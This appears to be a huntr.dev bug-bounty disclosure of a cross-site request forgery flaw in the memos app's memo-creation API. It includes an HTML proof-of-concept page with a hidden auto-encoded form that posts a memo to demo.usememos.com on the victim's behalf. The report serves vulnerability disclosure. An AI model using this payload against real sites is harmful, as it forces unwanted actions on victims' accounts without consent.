Add any thoughts via CSRF

2022-12-2821:57:24

samirwaleed

www.huntr.dev

csrf

data manipulation

security vulnerability

proof of concept

csrf token

0.001 Low

EPSS

Percentile

29.1%

JSON

Description

An attacker can add any user thoughts via a CSRF attack

When you send a link to the victim and click on it, any thoughts will be added

Proof of Concept

1- When the attacker adds any thoughts, it then intercepts the request

2- Take this request to generate a CSRF PoC

&lt;html&gt;

  

  &lt;body&gt;

  &lt;script&gt;history.pushState('', '', '/')&lt;/script&gt;

    &lt;form action="https://demo.usememos.com/api/memo" method="POST" enctype="text/plain"&gt;

      &lt;input type="hidden" name="&#123;&quot;content&quot;&#58;&quot;Test&#32;CSRF&quot;&#44;&quot;visibility&quot;&#58;&quot;PRIVATE&quot;&#44;&quot;resourceIdList&quot;&#58;&#91;&#93;&#125;" value="" /&gt;

      &lt;input type="submit" value="Submit request" /&gt;

    &lt;/form&gt;

  &lt;/body&gt;

&lt;/html&gt;